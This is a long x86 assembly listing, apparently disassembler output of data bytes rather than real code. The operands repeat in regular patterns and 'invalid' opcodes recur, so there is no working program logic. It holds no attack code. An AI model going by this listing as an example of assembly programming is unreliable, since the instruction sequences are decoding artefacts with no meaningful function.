cmp dh, ah
cmp bh, al
cmp bh, ah
cmp al, byte [eax]
cmp eax, dword [ebx + edi]
or byte [ebx], bh
or al, 0x3b
adc byte [ebx], bh
adc al, 0x3b
sbb byte [ebx], bh
sbb al, 0x3b
and byte [ebx], bh
and al, 0x3b
sub byte [ebx], bh
sub al, 0x3b
xor byte [ebx], bh
xor al, 0x3b
cmp byte [ebx], bh
cmp al, 0x3b
inc eax
cmp eax, dword [ebx + edi + 0x48]
cmp ecx, dword [ebx + edi + 0x50]
cmp edx, dword [ebx + edi + 0x58]
cmp ebx, dword [ebx + edi + 0x60]
cmp esp, dword [ebx + edi + 0x68]
cmp ebp, dword [ebx + edi + 0x70]
cmp esi, dword [ebx + edi + 0x78]
cmp edi, dword [ebx + edi - 0x80]
cmp eax, dword [ebx + edi + 0x3b8c3b88]
nop
cmp edx, dword [ebx + edi + 0x3b9c3b98]
mov al, byte [0xa83ba43b]
cmp ebp, dword [ebx + edi + 0x3bb43bb0]
mov eax, 0xc03bbc3b
cmp eax, esp
cmp ecx, eax
cmp ecx, esp
cmp edx, eax
cmp edx, esp
cmp ebx, eax
cmp ebx, esp
cmp esp, eax
cmp esp, esp
invalid
hlt
cmp ebp, eax
cmp ebp, esp
cmp esi, eax
cmp esi, esp
cmp edi, eax
cmp edi, esp
cmp eax, dword [eax]
cmp al, 4
cmp al, 8
cmp al, 0xc
cmp al, 0x10
cmp al, 0x14
cmp al, 0x18
cmp al, 0x1c
cmp al, 0x20
cmp al, 0x24
cmp al, 0x28
cmp al, 0x2c
cmp al, 0x30
cmp al, 0x34
cmp al, 0x38
cmp al, 0x3c
cmp al, 0x40
cmp al, 0x44
cmp al, 0x48
cmp al, 0x4c
cmp al, 0
add byte [eax], al
add byte [eax + eax], 0x64
add byte [eax], al
add byte [eax], cl
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
je 0x45c10e
js 0x45c110
jl 0x45c112
xor byte [esi], 0x84
mov byte ss:[esi], dh
movsb byte es:[edi], byte [esi]
cmp dword [eax - 0x4fc653c7], ebp
cmp dword [ecx + edi + 0x39bc39b8], esi
cmp dword [ecx + edi + 0x39c439c0], edi
invalid
cmp dh, ah
cmp bh, al
cmp bh, ah
cmp al, byte [eax]
mov al, byte [0x7c40004]
add byte [eax], al
add al, 0x30
or byte [eax], dh
adc byte [eax], dh
adc al, 0x30
sbb byte [eax], dh
cmp dword [ecx + edi + 0x39c439c0], edi
invalid
sbb al, 0x30
and byte [eax], dh
and al, 0x30
sub byte [eax], dh
sub al, 0x30
xor byte [eax], dh
xor al, 0x30
cmp byte [eax], dh
cmp al, 0x30
inc eax
xor byte [eax + esi + 0x48], al
xor byte [eax + esi + 0x50], cl
xor byte [eax + esi + 0x58], dl
xor byte [eax + esi + 0x60], bl
xor byte [eax + esi + 0x68], ah
xor byte [eax + esi + 0x70], ch
xor byte [eax + esi + 0x78], dh
xor byte [eax + esi - 0x80], bh
xor byte [eax + esi + 0x308c3088], al
nop
xor byte [eax + esi + 0x309c3098], dl
mov al, byte [0xa830a430]
xor byte [eax + esi + 0x30b430b0], ch
mov eax, 0xc030bc30
xor ah, al
xor al, cl
xor ah, cl
xor al, dl
xor ah, dl
xor al, bl
xor ah, bl
xor al, ah
xor ah, ah
xor al, ch
xor ah, ch
xor al, dh
xor ah, dh
xor al, bh
xor ah, bh
xor byte [eax], al
xor dword [ecx + esi], eax
or byte [ecx], dh
or al, 0x31
adc byte [ecx], dh
adc al, 0x31
sbb byte [ecx], dh
sbb al, 0x31
and byte [ecx], dh
and al, 0x31
sub byte [ecx], dh
sub al, 0x31
xor byte [ecx], dh
xor al, 0x31
cmp byte [ecx], dh
cmp al, 0x31
inc eax
xor dword [ecx + esi + 0x48], eax
xor dword [ecx + esi + 0x50], ecx
xor dword [ecx + esi + 0x58], edx
xor dword [ecx + esi + 0x60], ebx
xor dword [ecx + esi + 0x68], esp
xor dword [ecx + esi + 0x70], ebp
xor dword [ecx + esi + 0x78], esi
xor dword [ecx + esi - 0x80], edi
xor dword [ecx + esi + 0x318c3188], eax
nop
xor dword [ecx + esi + 0x319c3198], edx
mov al, byte [0xa831a431]
xor dword [ecx + esi + 0x31b431b0], ebp
mov eax, 0xc031bc31
xor esp, eax
xor eax, ecx
xor esp, ecx
xor eax, edx
xor esp, edx
xor eax, ebx
xor esp, ebx
xor eax, esp
xor esp, esp
xor eax, ebp
xor esp, ebp
xor eax, esi
xor esp, esi
xor eax, edi
xor esp, edi
xor dword [eax], eax
xor al, byte [edx + esi]
or byte [edx], dh
or al, 0x32
adc byte [edx], dh
adc al, 0x32
sbb byte [edx], dh
sbb al, 0x32
and byte [edx], dh
and al, 0x32
sub byte [edx], dh
sub al, 0x32
xor byte [edx], dh
xor al, 0x32
cmp byte [edx], dh
cmp al, 0x32
inc eax
xor al, byte [edx + esi + 0x48]
xor cl, byte [edx + esi + 0x50]
xor dl, byte [edx + esi + 0x58]
xor bl, byte [edx + esi + 0x60]
xor ah, byte [edx + esi + 0x68]
xor ch, byte [edx + esi + 0x70]
xor dh, byte [edx + esi + 0x78]
xor bh, byte [edx + esi - 0x80]
xor al, byte [edx + esi + 0x328c3288]
nop
xor dl, byte [edx + esi + 0x329c3298]
mov al, byte [0xa832a432]
xor ch, byte [edx + esi + 0x32b432b0]
mov eax, 0xc032bc32
xor al, ah
xor cl, al
xor cl, ah
xor dl, al
xor dl, ah
xor bl, al
xor bl, ah
xor ah, al
xor ah, ah
xor ch, al
xor ch, ah
xor dh, al
xor dh, ah
xor bh, al
xor bh, ah
xor al, byte [eax]
xor eax, dword [ebx + esi]
or byte [ebx], dh
or al, 0x33
adc byte [ebx], dh
adc al, 0x33
sbb byte [ebx], dh
sbb al, 0x33
and byte [ebx], dh
and al, 0x33
sub byte [ebx], dh
sub al, 0x33
xor byte [ebx], dh
xor al, 0x33
cmp byte [ebx], dh
cmp al, 0x33
inc eax
xor eax, dword [ebx + esi + 0x48]
xor ecx, dword [ebx + esi + 0x50]
xor edx, dword [ebx + esi + 0x58]
xor ebx, dword [ebx + esi + 0x60]
xor esp, dword [ebx + esi + 0x68]
xor ebp, dword [ebx + esi + 0x70]
xor esi, dword [ebx + esi + 0x78]
xor edi, dword [ebx + esi - 0x80]
xor eax, dword [ebx + esi + 0x338c3388]
nop
xor edx, dword [ebx + esi + 0x339c3398]
mov al, byte [0xa833a433]
xor ebp, dword [ebx + esi + 0x33b433b0]
mov eax, 0xc033bc33
xor eax, esp
xor ecx, eax
xor ecx, esp
xor edx, eax
xor edx, esp
xor ebx, eax
xor ebx, esp
xor esp, eax
xor esp, esp
xor ebp, eax
xor ebp, esp
xor esi, eax
xor esi, esp
xor edi, eax
xor edi, esp
xor eax, dword [eax]
xor al, 4
xor al, 8
xor al, 0xc
xor al, 0x10
xor al, 0x14
xor al, 0x18
xor al, 0x1c
xor al, 0x20
xor al, 0x24
xor al, 0x28
xor al, 0x2c
xor al, 0x30
xor al, 0x34
xor al, 0x38
xor al, 0x3c
xor al, 0x40
xor al, 0x44
xor al, 0x48
xor al, 0x4c
xor al, 0x50
xor al, 0x54
xor al, 0x58
xor al, 0x5c
xor al, 0x60
xor al, 0x64
xor al, 0x68
xor al, 0x6c
xor al, 0x70
xor al, 0x74
xor al, 0x78
xor al, 0x7c
xor al, 0x80
xor al, 0x84
xor al, 0x88
xor al, 0x8c
xor al, 0x90
xor al, 0x94
xor al, 0x98
xor al, 0x9c
xor al, 0xa0
xor al, 0xa4
xor al, 0xa8
xor al, 0xac
xor al, 0xb0
xor al, 0xb4
xor al, 0xb8
xor al, 0xbc
xor al, 0xc0
xor al, 0xc4
xor al, 0xc8
xor al, 0xcc
xor al, 0xd0
xor al, 0xd4
xor al, 0xd8
xor al, 0xdc
xor al, 0xe0
xor al, 0xe4
xor al, 0xe8
xor al, 0xec
xor al, 0xf0
xor al, 0xf4
xor al, 0xf8
xor al, 0xfc
xor al, 0
xor eax, 0x35083504
or al, 0x35
adc byte [0x35183514], dh
sbb al, 0x35
and byte [0x35283524], dh
sub al, 0x35
xor byte [0x35383534], dh
cmp al, 0x35
inc eax
xor eax, 0x35483544
dec esp
xor eax, 0x35543550
pop eax
xor eax, 0x3560355c
xor eax, 0x356c3568
jo 0x45c3ef
je 0x45c3f1
js 0x45c3f3
jl 0x45c3f5
xor byte [0x35883584], 0x8c
xor eax, 0x35943590
cwde
xor eax, 0x35a0359c
movsb byte es:[edi], byte [esi]
xor eax, 0x35ac35a8
mov al, 0x35
mov ah, 0x35
mov eax, 0xc035bc35
xor eax, 0x35c835c4
int3
xor eax, 0x35e435e0
call 0xf07bb02e
xor eax, 0x35f835f4
cld
xor eax, 0x36043600
xor eax, 0x35e835e4
in al, dx
xor eax, 0x35f435f0
clc
xor eax, 0x360035fc
add al, 0x36
xor eax, 0x35ec35e8
invalid
xor eax, 0x35f035ec
hlt
or byte [esi], dh
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
xor byte ss:[esi], 0x84
nop
xchg esp, eax
cwde
pushfd
mov al, byte ss:[0xa836a436]
lodsb al, byte ss:[esi]
mov al, 0x36
mov ah, 0x36
mov eax, 0xc036bc36
les esi, ss:[esi]
enter 0xffffffffffffcc36, 0x36
sal byte [esi], 1
aam 0x36
fdiv dword [esi]
fdiv qword [esi]
loopne 0x45c49e
in al, 0x36
call 0xf07cb0a5
hlt
pop eax
aaa
pop esp
aaa
pushal
aaa
aaa
push 0x78377437
aaa
jl 0x45c4e5
xor byte [edi], 0x84
aaa
mov byte [edi], dh
invalid
aaa
cld
aaa
add byte [eax], bh
add al, 0x38
or byte [eax], bh
or al, 0x38
adc byte [eax], bh
adc al, 0x38
sbb byte [eax], bh
sbb al, 0x38
and byte [eax], bh
and al, 0x38
sub byte [eax], bh
sub al, 0x38
xor byte [eax], bh
xor al, 0x38
cmp byte [eax], bh
cmp al, 0x38
inc eax
cmp byte [eax + edi + 0x48], al
cmp byte [eax + edi + 0x50], cl
cmp byte [eax + edi + 0x58], dl
cmp byte [eax + edi + 0x60], bl
cmp byte [eax + edi + 0x68], ah
cmp byte [eax + edi + 0x70], ch
cmp byte [eax + edi + 0x78], dh
cmp byte [eax + edi - 0x80], bh
cmp byte [eax + edi + 0x388c3888], al
nop
cmp byte [eax + edi + 0x389c3898], dl
mov al, byte [0xac38a838]
cmp byte [eax - 0x47c74bc8], dh
cmp byte [eax + edi + 0x38c438c0], bh
enter 0xffffffffffffcc38, 0x38
sar byte [eax], 1
aam 0x38
fdivr dword [eax]
fdivr qword [eax]
loopne 0x45c590
in al, 0x38
in al, dx
cmp al, dh
cmp ah, dh
cmp al, bh
cmp ah, bh
cmp byte [eax], al
cmp dword [ecx + edi], eax
or byte [ecx], bh
or al, 0x39
adc byte [ecx], bh
adc al, 0x39
sbb byte [ecx], bh
sbb al, 0x39
and byte [ecx], bh
and al, 0x39
sub al, 0x39
xor byte [ecx], bh
cmp byte [ecx], bh
cmp al, 0x39
inc eax
cmp dword [ecx + edi + 0x48], eax
cmp dword [ecx + edi + 0x50], ecx
cmp dword [ecx + edi + 0x58], edx
cmp dword [ecx + edi + 0x60], ebx
pushal
cmp dword [ecx + edi + 0x68], esp
cmp dword [ecx + edi + 0x70], ebp
cmp dword [ecx + edi + 0x78], esi
cmp dword [ecx + edi - 0x80], edi
cmp dword [ecx + edi + 0x398c3988], eax
nop
cmp dword [ecx + edi + 0x399c3998], edx
mov al, byte [0xa839a439]
cmp dword [ecx + edi + 0x39b439b0], ebp
mov eax, 0xc039bc39
cmp esp, eax
cmp eax, ecx
cmp esp, ecx
cmp eax, edx
cmp esp, edx
cmp eax, ebx
cmp esp, ebx
cmp eax, esp
cmp esp, esp
cmp eax, ebp
cmp esp, ebp
cmp eax, esi
cmp esp, esi
cmp eax, edi
cmp esp, edi
cmp dword [eax], eax
cmp al, byte [edx + edi]
or byte [edx], bh
or al, 0x3a
adc byte [edx], bh
adc al, 0x3a
sbb byte [edx], bh
sbb al, 0x3a
sub al, 0x3a
cmp byte [edx], bh
inc eax
cmp al, byte [edx + edi + 0x48]
cmp cl, byte [edx + edi + 0x50]
cmp dl, byte [edx + edi + 0x58]
cmp bl, byte [edx + edi + 0x60]
cmp ah, byte [edx + edi + 0x68]
cmp ch, byte [edx + edi + 0x70]
cmp dh, byte [edx + edi - 0x80]
cmp cl, byte [eax - 0x6fc573c6]
cmp dl, byte [edx + edi + 0x3a9c3a98]
mov al, byte [0xa83aa43a]
cmp ch, byte [edx + edi + 0x3ab43ab0]
mov eax, 0xc03abc3a
cmp al, ah
cmp cl, al
cmp cl, ah
cmp dl, al
cmp dl, ah
cmp bl, al
cmp bl, ah
cmp ah, al
cmp ah, ah
cmp ch, al
cmp ch, ah
cmp dh, al
cmp dh, ah
cmp bh, al
cmp bh, ah
cmp al, byte [eax]
cmp eax, dword [ebx + edi]
or byte [ebx], bh
or al, 0x3b
adc byte [ebx], bh
adc al, 0x3b
sbb byte [ebx], bh
sbb al, 0x3b
and byte [ebx], bh
and al, 0x3b
sub byte [ebx], bh
sub al, 0x3b
xor byte [ebx], bh
xor al, 0x3b
cmp byte [ebx], bh
cmp al, 0x3b
inc eax
cmp eax, dword [ebx + edi + 0x48]
cmp ecx, dword [ebx + edi + 0x50]
cmp edx, dword [ebx + edi + 0x58]
cmp ebx, dword [ebx + edi + 0x60]
cmp esp, dword [ebx + edi + 0x68]
cmp ebp, dword [ebx + edi + 0x70]
cmp esi, dword [ebx + edi + 0x78]
cmp edi, dword [ebx + edi - 0x80]
cmp eax, dword [ebx + edi + 0x3b8c3b88]
pushfd
cmp esp, dword [eax - 0x57c45bc5]
cmp ebp, dword [ebx + edi + 0x3bb43bb0]
mov eax, 0xc03bbc3b
cmp eax, esp
cmp ecx, eax
cmp ecx, esp
cmp edx, eax
cmp edx, esp
cmp ebx, eax
cmp ebx, esp
cmp esp, eax
cmp esp, esp
cmp esi, eax
cmp edi, eax
cmp edi, esp
cmp eax, dword [eax]
cmp al, 4
cmp al, 8
cmp al, 0xc
cmp al, 0x10
cmp al, 0x14
cmp al, 0x18
cmp al, 0x1c
cmp al, 0x20
cmp al, 0x24
cmp al, 0x28
cmp al, 0x2c
cmp al, 0x30
cmp al, 0x34
cmp al, 0x38
cmp al, 0x3c
cmp al, 0x40
cmp al, 0x44
cmp al, 0x48
cmp al, 0x4c
cmp al, 0x50
cmp al, 0x54
cmp al, 0x58
cmp al, 0x5c
cmp al, 0x60
cmp al, 0x64
cmp al, 0x68
cmp al, 0x6c
cmp al, 0x70
cmp al, 0x74
cmp al, 0x78
cmp al, 0x7c
cmp al, 0x80
cmp al, 0x84
cmp al, 0x88
cmp al, 0x90
cmp al, 0x94
cmp al, 0x98
cmp al, 0x9c
cmp al, 0xa0
cmp al, 0xa4
cmp al, 0xa8
cmp al, 0xac
cmp al, 0xb0
cmp al, 0xb4
cmp al, 0xb8
cmp al, 0xbc
cmp al, 0xc0
cmp al, 0xc4
cmp al, 0xc8
cmp al, 0xcc
cmp al, 0xd0
cmp al, 0xd4
cmp al, 0xd8
cmp al, 0xdc
cmp al, 0xe0
cmp al, 0xe4
cmp al, 0xe8
cmp al, 0xec
cmp al, 0xf0
cmp al, 0xf4
cmp al, 0xf8
cmp al, 0xfc
cmp al, 0
cmp eax, 0x3d083d04
or al, 0x3d
adc byte [0x3d183d14], bh
sbb al, 0x3d
and byte [0x3d283d24], bh
sub al, 0x3d
xor byte [0x3d383d34], bh
cmp al, 0x3d
inc eax
cmp eax, 0x3d483d44
dec esp
cmp eax, 0x3d543d50
pop eax
cmp eax, 0x3d643d60
push 0x703d6c3d
cmp eax, 0x3d783d74
jl 0x45c7bb
cmp byte [0x3d883d84], 0x8c
cmp eax, 0x3d943d90
cwde
cmp eax, 0x3da03d9c
movsb byte es:[edi], byte [esi]
cmp eax, 0x3dac3da8
mov al, 0x3d
mov ah, 0x3d
mov eax, 0xc03dbc3d
cmp eax, 0x3dc83dc4
int3
cmp eax, 0x3e003dfc
add al, 0x3e
or byte [esi], bh
or al, 0x3e
adc byte [esi], bh
adc al, 0x3e
sbb byte [esi], bh
sbb al, 0x3e
and byte [esi], bh
and al, 0x3e
sub byte [esi], bh
sub al, 0x3e
xor byte [esi], bh
xor al, 0x3e
cmp byte [esi], bh
cmp al, 0x3e
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x703e6c3e
je 0x45c838
js 0x45c83a
jl 0x45c83c
cmp byte [esi], 0x84
mov byte ds:[esi], bh
invalid
hlt
clc
cld
cld
add byte ds:[edi], bh
add al, 0x3f
or byte [edi], bh
or al, 0x3f
adc byte [edi], bh
adc al, 0x3f
sbb byte [edi], bh
sbb al, 0x3f
and byte [edi], bh
and al, 0x3f
sub byte [edi], bh
sub al, 0x3f
xor byte [edi], bh
xor al, 0x3f
cmp byte [edi], bh
cmp al, 0x3f
inc eax
aas
inc esp
aas
dec eax
aas
dec esp
aas
push eax
aas
push esp
aas
pop eax
aas
pop esp
aas
pushal
aas
aas
push 0x703f6c3f
aas
je 0x45c8b9
js 0x45c8bb
jl 0x45c8bd
cmp byte [edi], 0x84
aas
mov byte [edi], bh
invalid
aas
clc
aas
cld
aas
add byte [eax], al
add byte [eax + 0x5800004], dh
add byte [eax], al
add byte [eax], dh
add al, 0x30
or byte [eax], dh
or al, 0x30
adc byte [eax], dh
adc al, 0x30
sbb byte [eax], dh
sbb al, 0x30
and byte [eax], dh
and al, 0x30
sub byte [eax], dh
sub al, 0x30
xor byte [eax], dh
xor al, 0x30
cmp byte [eax], dh
cmp al, 0x30
inc eax
xor byte [eax + esi + 0x48], al
xor byte [eax + esi + 0x50], cl
xor byte [eax + esi + 0x58], dl
xor byte [eax + esi + 0x60], bl
xor byte [eax + esi + 0x68], ah
xor byte [eax + esi + 0x70], ch
xor byte [eax + esi + 0x78], dh
xor byte [eax + esi - 0x80], bh
xor byte [eax + esi + 0x308c3088], al
nop
xor byte [eax + esi + 0x309c3098], dl
mov al, byte [0xa830a430]
xor byte [eax + esi + 0x30b430b0], ch
mov eax, 0xc030bc30
xor ah, al
xor al, cl
xor ah, cl
xor al, dl
xor ah, dl
xor al, bl
xor ah, bl
xor al, ah
xor ah, ah
xor al, ch
xor ah, ch
xor al, dh
xor ah, dh
xor al, bh
xor ah, bh
xor byte [eax], al
xor dword [ecx + esi], eax
or byte [ecx], dh
or al, 0x31
adc byte [ecx], dh
adc al, 0x31
sbb byte [ecx], dh
sbb al, 0x31
and byte [ecx], dh
and al, 0x31
sub byte [ecx], dh
sub al, 0x31
xor byte [ecx], dh
xor al, 0x31
cmp byte [ecx], dh
cmp al, 0x31
inc eax
xor dword [ecx + esi + 0x48], eax
xor dword [ecx + esi + 0x50], ecx
xor dword [ecx + esi + 0x58], edx
xor dword [ecx + esi + 0x60], ebx
xor dword [ecx + esi + 0x68], esp
xor dword [ecx + esi + 0x70], ebp
xor dword [ecx + esi + 0x78], esi
xor dword [ecx + esi - 0x80], edi
xor dword [ecx + esi + 0x318c3188], eax
nop
xor dword [ecx + esi + 0x319c3198], edx
mov al, byte [0xa831a431]
xor dword [ecx + esi + 0x31b431b0], ebp
mov eax, 0xc031bc31
xor esp, eax
xor eax, ecx
xor esp, ecx
xor eax, edx
xor esp, edx
xor eax, ebx
xor esp, ebx
xor eax, esp
xor esp, esp
xor eax, ebp
xor esp, ebp
xor eax, esi
xor esp, esi
xor eax, edi
xor esp, edi
xor dword [eax], eax
xor al, byte [edx + esi]
or byte [edx], dh
or al, 0x32
adc byte [edx], dh
adc al, 0x32
sbb byte [edx], dh
sbb al, 0x32
and byte [edx], dh
and al, 0x32
sub byte [edx], dh
sub al, 0x32
xor byte [edx], dh
xor al, 0x32
cmp byte [edx], dh
cmp al, 0x32
inc eax
xor al, byte [edx + esi + 0x48]
xor cl, byte [edx + esi + 0x50]
xor dl, byte [edx + esi + 0x58]
xor bl, byte [edx + esi + 0x60]
xor ah, byte [edx + esi + 0x68]
xor ch, byte [edx + esi + 0x70]
xor dh, byte [edx + esi + 0x78]
xor bh, byte [edx + esi - 0x80]
xor al, byte [edx + esi + 0x328c3288]
nop
xor dl, byte [edx + esi + 0x329c3298]
mov al, byte [0xa832a432]
xor ch, byte [edx + esi + 0x32b432b0]
mov eax, 0xc032bc32
xor al, ah
xor cl, al
xor cl, ah
xor dl, al
xor dl, ah
xor bl, al
xor bl, ah
xor ah, al
xor ah, ah
xor ch, al
xor ch, ah
xor dh, al
xor dh, ah
xor bh, al
xor bh, ah
xor al, byte [eax]
xor eax, dword [ebx + esi]
or byte [ebx], dh
or al, 0x33
adc byte [ebx], dh
adc al, 0x33
sbb byte [ebx], dh
sbb al, 0x33
and byte [ebx], dh
and al, 0x33
sub byte [ebx], dh
sub al, 0x33
xor byte [ebx], dh
xor al, 0x33
cmp byte [ebx], dh
cmp al, 0x33
inc eax
xor eax, dword [ebx + esi + 0x48]
xor ecx, dword [ebx + esi + 0x50]
xor edx, dword [ebx + esi + 0x58]
xor ebx, dword [ebx + esi + 0x60]
xor esp, dword [ebx + esi + 0x68]
xor ebp, dword [ebx + esi + 0x70]
xor esi, dword [ebx + esi + 0x78]
xor edi, dword [ebx + esi - 0x80]
xor eax, dword [ebx + esi + 0x338c3388]
nop
xor edx, dword [ebx + esi + 0x339c3398]
test al, 0x33
mov al, 0x33
mov ah, 0x33
mov eax, 0xc033bc33
xor eax, esp
xor ecx, eax
xor ecx, esp
xor edx, eax
xor edx, esp
xor ebx, eax
xor ebx, esp
xor esp, eax
xor esp, esp
xor ebp, eax
xor ebp, esp
xor esi, eax
xor esi, esp
xor edi, eax
xor edi, esp
xor eax, dword [eax]
xor al, 4
xor al, 8
xor al, 0xc
xor al, 0x10
xor al, 0x14
xor al, 0x18
xor al, 0x1c
xor al, 0x20
xor al, 0x24
xor al, 0x28
xor al, 0x2c
xor al, 0x30
xor al, 0x34
xor al, 0x38
xor al, 0x3c
xor al, 0x40
xor al, 0x44
xor al, 0x48
xor al, 0x4c
xor al, 0x50
xor al, 0x54
xor al, 0x58
xor al, 0x5c
xor al, 0x60
xor al, 0x64
xor al, 0x68
xor al, 0x6c
xor al, 0x70
xor al, 0x74
xor al, 0x78
xor al, 0x7c
xor al, 0x94
xor al, 0x98
xor al, 0xa0
xor al, 0xa4
xor al, 0xac
xor al, 0xb0
xor al, 0xc0
xor al, 0xc4
xor al, 0xcc
xor al, 0xd0
xor al, 0xd8
xor al, 0xdc
xor al, 0xf4
xor al, 0xf8
xor al, 0
xor eax, 0x350c3504
adc byte [0x351c3518], dh
and al, 0x35
sub byte [0x35343530], dh
cmp al, 0x35
inc eax
xor eax, 0x354c3548
push esp
xor eax, 0x35703558
je 0x45cb77
test byte [0x35c03588], dh
les esi, [0x35d035cc]
fdiv dword [0x35ec35dc]
invalid
movsb byte es:[edi], byte ss:[esi]
lodsb al, byte ss:[esi]
mov al, 0x36
mov eax, 0xc436bc36
enter 0xffffffffffffd836, 0x36
fdiv qword [esi]
in al, 0x36
call 0xfc7cc3c7
or al, 0x37
adc byte [edi], dh
sbb byte [edi], dh
sbb al, 0x37
and al, 0x37
sub byte [edi], dh
inc eax
aaa
inc esp
aaa
push esp
aaa
pop eax
aaa
pushal
aaa
aaa
je 0x45cbe3
js 0x45cbe5
xor byte [edi], 0x84
aaa
invalid
cmp byte [eax + 0x38], dh
cwde
cmp byte [eax + edi + 0x38d038cc], bl
fdivr dword [eax]
fdivr qword [eax]
add al, 0x39
cmp byte [eax - 0x33c763c8], bl
cmp al, dl
cmp al, bl
cmp ah, bl
cmp byte [ecx + edi], al
or byte [ecx], bh
sbb byte [ecx], bh
sbb al, 0x39
sub al, 0x39
xor byte [ecx], bh
inc eax
cmp dword [ecx + edi + 0x54], eax
cmp dword [eax + 0x39], ebx
pushal
cmp dword [ecx + edi + 0x6c], esp
cmp dword [eax + 0x39], esi
cmp byte [ecx], 0x84
cmp dword [ecx + edi + 0x39b03990], ecx
mov ah, 0x39
les edi, [ecx]
enter 0xffffffffffffd839, 0x39
fdivr qword [ecx]
hlt